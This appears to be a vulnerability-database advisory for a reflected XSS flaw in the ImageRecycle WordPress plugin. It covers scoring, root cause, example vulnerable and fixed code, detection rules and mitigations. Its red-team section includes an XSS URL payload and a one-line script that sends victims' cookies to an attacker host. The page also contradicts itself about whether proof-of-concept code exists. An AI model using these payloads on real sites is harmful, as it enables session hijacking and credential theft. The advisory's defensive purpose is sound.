CVE-2024-54266
Executive Summary
CVE-2024-54266 is a reflected Cross-Site Scripting (XSS) vulnerability in the ImageRecycle pdf & image compression WordPress plugin, affecting versions up to and including 3.1.16. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session on the WordPress site.
As this is a WordPress plugin vulnerability, the attack surface is limited to sites running the vulnerable plugin. No public proof-of-concept (PoC) or exploit code has been released at this time, and the vendor has not provided a patch. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should monitor the plugin’s update channel for a patched version. No NPM, PyPI, Go, or Ruby packages are involved.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – the vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): None – no authentication needed.
- User Interaction (UI): Required – the victim must click a crafted link or visit a malicious page.
- Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – limited data exposure possible.
- Integrity (I): Low – limited ability to modify content.
- Availability (A): Low – limited impact on service availability.
Threat Level: High due to the potential for session hijacking and phishing attacks, though exploitation requires user interaction.
Deep Dive & Mechanics
The vulnerability exists in the imagerecycle-pdf-image-compression plugin, which handles PDF and image compression requests. The plugin fails to sanitize or escape user-supplied parameters before reflecting them in the HTTP response. Specifically, the page or action parameters (or similar) are echoed back without proper encoding, allowing an attacker to inject HTML and JavaScript.
Attack Flow:
- An attacker crafts a malicious URL containing a JavaScript payload in a vulnerable parameter.
- The victim (e.g., a WordPress admin) clicks the link or is redirected to it.
- The plugin processes the request and reflects the payload in the response without sanitization.
- The victim’s browser executes the injected script, which can steal cookies, perform actions on behalf of the user, or redirect to a phishing page.
Root Cause: The plugin uses echo $_GET['param'] or similar without applying esc_html(), htmlspecialchars(), or WordPress’s esc_attr() functions.
Vulnerable vs. Patched Code
Since no patch is available, the following illustrates the vulnerable pattern and a hypothetical fix.
Vulnerable Code (example from plugin):
<?php
// imagerecycle-pdf-image-compression/admin/class-imagerecycle-admin.php
function display_page() {
$page = $_GET['page'];
echo "<div class='wrap'><h1>ImageRecycle - $page</h1></div>";
}
?>
Patched Code (hypothetical):
<?php
function display_page() {
$page = isset($_GET['page']) ? esc_html($_GET['page']) : '';
echo "<div class='wrap'><h1>ImageRecycle - " . esc_html($page) . "</h1></div>";
}
?>
The fix uses esc_html() to encode special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with the vulnerable plugin (version <= 3.1.16).
- A victim user with admin or editor privileges.
Exploit Payload:
https://target.com/wp-admin/admin.php?page=imagerecycle-pdf-image-compression%3Cscript%3Ealert('XSS')%3C/script%3E
Step-by-Step:
- Identify the vulnerable parameter (e.g.,
pageoraction). - URL-encode a JavaScript payload:
<script>alert('XSS')</script>. - Send the crafted link to the victim via email, social engineering, or a compromised site.
- When the victim clicks the link, the script executes in their browser context.
Advanced Payload (session hijacking):
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests containing
<script>tags oralert()in query parameters. - Use WAF rules to block reflected XSS patterns.
Mitigation:
- Disable the plugin until a patch is available.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use WordPress security plugins (e.g., Wordfence) to block malicious requests.
Lab Setup:
- Install WordPress locally (e.g., using XAMPP or Docker).
- Install the vulnerable plugin version 3.1.16.
- Create a test user and simulate the attack.
Indicators of Compromise (IOCs)
- URL Patterns: Requests to
/wp-admin/admin.phpwithpage=imagerecycle-pdf-image-compressionfollowed by encoded JavaScript. - Log Entries: HTTP 200 responses with
<script>tags in thepageparameter. - Network Traffic: Outbound connections to attacker-controlled domains from the victim’s browser.
- File Changes: Unauthorized modifications to WordPress pages or posts (if the script performs admin actions).
Detection Engineering
YARA Rule
rule CVE_2024_54266_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against ImageRecycle pdf & image compression plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-54266"
strings:
$param1 = "imagerecycle-pdf-image-compression"
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
condition:
$param1 and any of ($xss*)
}
Sigma Rule
title: Reflected XSS in ImageRecycle Plugin
id: 8a3f7c2e-1b4d-4f6a-9c8e-0d1e2f3a4b5c
status: experimental
description: Detects reflected XSS attempts against the ImageRecycle pdf & image compression plugin (CVE-2024-54266)
author: Valters IT
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains: "imagerecycle-pdf-image-compression"
cs-uri-query|re: "(<script|onerror|onload|alert\(|prompt\(|confirm\()"
condition: selection
falsepositives:
- Legitimate use of the plugin with similar strings (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-54266 Reflected XSS in ImageRecycle Plugin"; flow:to_server,established; content:"imagerecycle-pdf-image-compression"; http_uri; pcre:"/(<script|onerror|onload|alert\(|prompt\(|confirm\()/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
- Add CSP headers to restrict script execution (e.g.,
Content-Security-Policy: script-src 'self').
Long-Term Fix:
- The vendor must release a patched version that sanitizes all user inputs using
esc_html(),esc_attr(), orwp_kses(). - Users should update to the latest version once available.
Workaround:
- If the plugin is critical, consider using a security plugin like Wordfence to add virtual patching.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.